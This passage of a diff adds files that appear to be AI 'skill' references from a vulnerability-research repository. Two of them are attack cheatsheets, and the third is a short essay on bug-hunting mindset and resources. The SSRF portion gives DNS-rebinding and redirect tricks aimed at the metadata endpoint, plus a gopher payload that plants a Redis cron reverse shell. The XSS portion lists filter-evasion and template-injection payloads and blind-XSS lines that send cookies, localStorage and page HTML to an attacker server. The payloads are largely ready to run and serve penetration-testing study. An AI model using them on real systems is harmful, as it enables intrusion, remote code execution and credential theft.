1. You own `attacker.com`.
|
|
125
|
+
2. **Request 1 (Check):** `attacker.com` resolves to `8.8.8.8` (Safe IP). Firewall allows it.
|
|
126
|
+
3. **Request 2 (Fetch):** `attacker.com` changes TTL to 0 and resolves to `127.0.0.1`.
|
|
127
|
+
4. **Result:** Server talks to itself thinking it's talking to Google.
|
|
128
|
+
|
|
129
|
+
* *Tool:* rbndr.us (e.g., `7f000001.80808080.rbndr.us` switches between 127.0.0.1 and 8.8.8.8).
|
|
130
|
+
|
|
131
|
+
### C. Redirects (The "Boomerang")
|
|
132
|
+
|
|
133
|
+
*If the server follows redirects, host the redirect on your own server.*
|
|
134
|
+
|
|
135
|
+
1. Server requests `http://evil.com/redirect`.
|
|
136
|
+
2. Your server responds: `HTTP 302 Location: http://169.254.169.254/latest/meta-data/`.
|
|
137
|
+
3. Server follows the link and displays the keys.
|
|
138
|
+
|
|
139
|
+
---
|
|
140
|
+
|
|
141
|
+
## 5. Blind SSRF -> RCE (The "Gopher" Method)
|
|
142
|
+
|
|
143
|
+
*If you have Blind SSRF, you can't read files. But you can WRITE commands to internal services.*
|
|
144
|
+
|
|
145
|
+
**Target: Internal Redis (Port 6379)**
|
|
146
|
+
|
|
147
|
+
* Redis often has no auth on localhost.
|
|
148
|
+
* **Attack:** Use `gopher://` to send a constructed payload that writes a malicious cron job or SSH key to the server.
|
|
149
|
+
|
|
150
|
+
```text
|
|
151
|
+
gopher://127.0.0.1:6379/_%0D%0ASET%20x%20%22%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FYOURIP%2F4444%200%3E%261%0A%22%0D%0ACONFIG%20SET%20dir%20%2Fvar%2Fspool%2Fcron%2F%0D%0ACONFIG%20SET%20dbfilename%20root%0D%0ASAVE%0D%0AQUIT
|
|
152
|
+
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## 6. Quick Reference: Common Internal Ports
|
|
158
|
+
|
|
159
|
+
*If scanning `localhost`, look for these.*
|
|
160
|
+
|
|
161
|
+
* **21:** FTP
|
|
162
|
+
* **22:** SSH (Banner grabbing)
|
|
163
|
+
* **25:** SMTP (Gopher can send mail)
|
|
164
|
+
* **80/443/8080:** Internal Web Apps
|
|
165
|
+
* **3306:** MySQL
|
|
166
|
+
* **6379:** Redis (RCE Target)
|
|
167
|
+
* **8000/8443:** Common Admin Panels
|
|
168
|
+
* **9200:** Elasticsearch (Info Disclosure)
|
|
169
|
+
* **27017:** MongoDB
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.
|
|
@@ -0,0 +1,177 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vr-cheatsheet-xss
|
|
3
|
+
description: >-
|
|
4
|
+
Vulnerability research reference: xssgated: true
|
|
5
|
+
---
|
|
6
|
+
# 🛡️ Advanced XSS Payload & Bypass Cheatsheet
|
|
7
|
+
|
|
8
|
+
> **⚠️ Ethical Warning:** This list is for educational and authorized testing purposes only (e.g., Bug Bounties, Penetration Testing). Unauthorized use is illegal.
|
|
9
|
+
|
|
10
|
+
## 🎯 1. "Context is King"
|
|
11
|
+
|
|
12
|
+
*XSS is useless if you don't know where you are landing. Choose the payload based on the injection point.*
|
|
13
|
+
|
|
14
|
+
### A. HTML Body Context (Standard)
|
|
15
|
+
|
|
16
|
+
*When input lands directly between tags like `<div>[INPUT]</div>`.*
|
|
17
|
+
|
|
18
|
+
```html
|
|
19
|
+
<script>alert(1)</script>
|
|
20
|
+
<svg/onload=alert(1)>
|
|
21
|
+
<body/onload=alert(1)>
|
|
22
|
+
<iframe/onload=alert(1)></iframe>
|
|
23
|
+
<ScRiPt>alert(1)</sCrIpT>
|
|
24
|
+
<scr%00ipt>alert(1)</script>
|
|
25
|
+
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
### B. Attribute Context
|
|
29
|
+
|
|
30
|
+
*When input lands inside a tag attribute: `<input value="[INPUT]">`.*
|
|
31
|
+
|
|
32
|
+
```html
|
|
33
|
+
"><script>alert(1)</script>
|
|
34
|
+
"><img src=x onerror=alert(1)>
|
|
35
|
+
|
|
36
|
+
" onfocus=alert(1) autofocus "
|
|
37
|
+
" onmouseover=alert(1) "
|
|
38
|
+
|
|
39
|
+
javascript:alert(1)
|
|
40
|
+
java%09script:alert(1) javascript://%250Aalert(1) ```
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
## C. JavaScript Context
|
|
44
|
+
*When input lands inside a `<script>` block: `<script>var x = '[INPUT]';</script>`.*
|
|
45
|
+
|
|
46
|
+
```javascript
|
|
47
|
+
// 1. Break the string and the script tag (The Nuclear Option)
|
|
48
|
+
</script><script>alert(1)</script>
|
|
49
|
+
|
|
50
|
+
// 2. Break the string to execute code
|
|
51
|
+
'-alert(1)-'
|
|
52
|
+
";alert(1);"
|
|
53
|
+
\u0027;alert(1);// (Unicode escape for single quote)
|
|
54
|
+
|
|
55
|
+
// 3. Template Literal Injection (Backticks)
|
|
56
|
+
${alert(1)}
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
---
|
|
60
|
+
|
|
61
|
+
## 🚧 2. Filter & WAF Evasion
|
|
62
|
+
|
|
63
|
+
*When standard payloads are blocked by a firewall or sanitizer.*
|
|
64
|
+
|
|
65
|
+
### A. Whitespace & Separator Bypasses
|
|
66
|
+
|
|
67
|
+
*Browsers allow weird separators that WAFs often miss.*
|
|
68
|
+
|
|
69
|
+
```html
|
|
70
|
+
<svg/onload=alert(1)>
|
|
71
|
+
<svg///onload=alert(1)>
|
|
72
|
+
<img src=x onerror=alert(1)//>
|
|
73
|
+
<svg/onload=alert(1)</noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
|
74
|
+
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
**The "0xSobky" Polyglot:**
|
|
78
|
+
|
|
79
|
+
```text
|
|
80
|
+
javascript://%250Aalert(1)//"/*\'/*"/*--></title></style></textarea></script><svg/onload=alert(1)>
|
|
81
|
+
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
---
|
|
85
|
+
|
|
86
|
+
## ⚛️ 4. Modern Framework Injection (CSTI)
|
|
87
|
+
|
|
88
|
+
*For React, Vue, Angular, etc. These target the Template Engine, not just the HTML.*
|
|
89
|
+
|
|
90
|
+
### Angular (Modern & Legacy)
|
|
91
|
+
|
|
92
|
+
```javascript
|
|
93
|
+
// Angular 1.x (Legacy)
|
|
94
|
+
{{constructor.constructor('alert(1)')()}}
|
|
95
|
+
|
|
96
|
+
// Angular (Modern - generally requires a sanitization bypass or specific setup)
|
|
97
|
+
{{$on.constructor('alert(1)')()}}
|
|
98
|
+
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
### Vue.js
|
|
102
|
+
|
|
103
|
+
```javascript
|
|
104
|
+
// Vue 2.x
|
|
105
|
+
{{constructor.constructor('alert(1)')()}}
|
|
106
|
+
|
|
107
|
+
// Vue 3 (Mounting point injection)
|
|
108
|
+
<div v-html="'<img src=x onerror=alert(1)>'"></div>
|
|
109
|
+
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
### React
|
|
113
|
+
|
|
114
|
+
*React is secure by default. You are looking for `dangerouslySetInnerHTML` or vulnerable props.*
|
|
115
|
+
|
|
116
|
+
```javascript
|
|
117
|
+
// If you control props:
|
|
118
|
+
<a href={user_input}>Link</a> // user_input = "javascript:alert(1)"
|
|
119
|
+
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## 📄 5. File Upload Vectors
|
|
125
|
+
|
|
126
|
+
*If you can upload a file, you can often trigger XSS.*
|
|
127
|
+
|
|
128
|
+
**SVG XSS (Save as `logo.svg`)**
|
|
129
|
+
|
|
130
|
+
```xml
|
|
131
|
+
<?xml version="1.0" standalone="no"?>
|
|
132
|
+
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
|
133
|
+
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
|
134
|
+
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
|
|
135
|
+
<script type="text/javascript">
|
|
136
|
+
alert(1);
|
|
137
|
+
</script>
|
|
138
|
+
</svg>
|
|
139
|
+
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
**XML/XSLT (Save as `data.xml`)**
|
|
143
|
+
*Often overlooked in PDF generators or data parsers.*
|
|
144
|
+
|
|
145
|
+
```xml
|
|
146
|
+
<a xmlns:a="http://www.w3.org/1999/xhtml"><a:body onload="alert(1)"/></a>
|
|
147
|
+
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
---
|
|
151
|
+
|
|
152
|
+
## 🕵️ 6. Blind XSS & Data Exfiltration
|
|
153
|
+
|
|
154
|
+
*For when you don't see the alert box (e.g., admin panels, log viewers).*
|
|
155
|
+
*Use Burp Collaborator, Interactsh, or a custom server.*
|
|
156
|
+
|
|
157
|
+
```javascript
|
|
158
|
+
// 1. Basic Ping
|
|
159
|
+
<script src=http://YOUR_COLLABORATOR_ID></script>
|
|
160
|
+
|
|
161
|
+
// 2. Steal Cookies (The "Classic")
|
|
162
|
+
<script>fetch('https://YOUR_SERVER/?cookie=' + btoa(document.cookie))</script>
|
|
163
|
+
|
|
164
|
+
// 3. Steal LocalStorage (Modern Apps use this more than cookies)
|
|
165
|
+
<img src=x onerror='fetch("https://YOUR_SERVER/?ls="+btoa(JSON.stringify(localStorage)))'>
|
|
166
|
+
|
|
167
|
+
// 4. Exfiltrate full page HTML (See what the admin sees)
|
|
168
|
+
<script>
|
|
169
|
+
fetch('https://YOUR_SERVER/', {
|
|
170
|
+
method: 'POST',
|
|
171
|
+
body: document.documentElement.outerHTML
|
|
172
|
+
});
|
|
173
|
+
</script>
|
|
174
|
+
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vr-methodology-mindset_and_tips
|
|
3
|
+
description: >-
|
|
4
|
+
Vulnerability research reference: mindset_and_tipsgated: true
|
|
5
|
+
---
|
|
6
|
+
# The Attacker Mindset
|
|
7
|
+
|
|
8
|
+
Remember, you're actively searching for things that *aren't* supposed to be there.
|
|
9
|
+
|
|
10
|
+
Because of this, you can sink hours, days, or even weeks into a target and walk away with nothing. Early on, this will feel like failure.
|
|
11
|
+
|
|
12
|
+
It is critical to understand that **failing repeatedly is an inherent part of the process.**
|
|
13
|
+
|
|
14
|
+
Taking a few hits and running into dead ends before finding a breakthrough is standard; it takes relentless reps & a little bit of luck.
|
|
15
|
+
|
|
16
|
+
---
|
|
17
|
+
|
|
18
|
+
## Duplicates
|
|
19
|
+
|
|
20
|
+
Duplicates always sting. But they are signals of a valid finding. Try to sweep for related siblings and apply the knowledge to future hunts. Try to hunt where others aren't. Be creative.
|
|
21
|
+
|
|
22
|
+
---
|
|
23
|
+
|
|
24
|
+
## Tips for Success
|
|
25
|
+
|
|
26
|
+
If an application responds to an input in an unexpected way (slight delay in response, strange error codes, etc.), keep pulling on that thread.
|
|
27
|
+
|
|
28
|
+
Show up every week. Keep putting in the work. It takes hundreds, if not thousands, of hours of dedicated focus to find a vulnerability.
|
|
29
|
+
|
|
30
|
+
When selecting targets, focus on software architectures and environments you are already deeply familiar with.
|
|
31
|
+
|
|
32
|
+
Study the developer documentation, API specifications, and administrative guides.
|
|
33
|
+
|
|
34
|
+
Time spent understanding the code and application flow is never wasted. Look for hidden endpoints, legacy API paths, and complex logic chains.
|
|
35
|
+
|
|
36
|
+
Reading existing vulnerability advisories is one of the fastest ways to level up. Analyze past reports to understand the attacker's methodology.
|
|
37
|
+
|
|
38
|
+
Reviewing patches that resolve vulnerabilities will help you identify what a vulnerable code path looks like versus a secure one. Studying past exploits drives inspiration for future hunts.
|
|
39
|
+
|
|
40
|
+
Practice against intentionally vulnerable applications.
|
|
41
|
+
|
|
42
|
+
The [PortSwigger Web Security Academy Labs](https://portswigger.net/web-security/all-labs) offer a black-box environment to test a variety of vulnerability types safely.
|
|
43
|
+
|
|
44
|
+
## Resources
|
|
45
|
+
|
|
46
|
+
* [GitHub Advisory Database](https://github.com/advisories)
|
|
47
|
+
* [Talos Vulnerability Reports](https://talosintelligence.com/vulnerability_reports)
|
|
48
|
+
* [Tenable Research Advisories](https://www.tenable.com/security/research)
|
|
49
|
+
* [Zero Day Initiative Blog](https://www.zerodayinitiative.com/blog)
|
|
50
|
+
|
|
51
|
+
> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.
|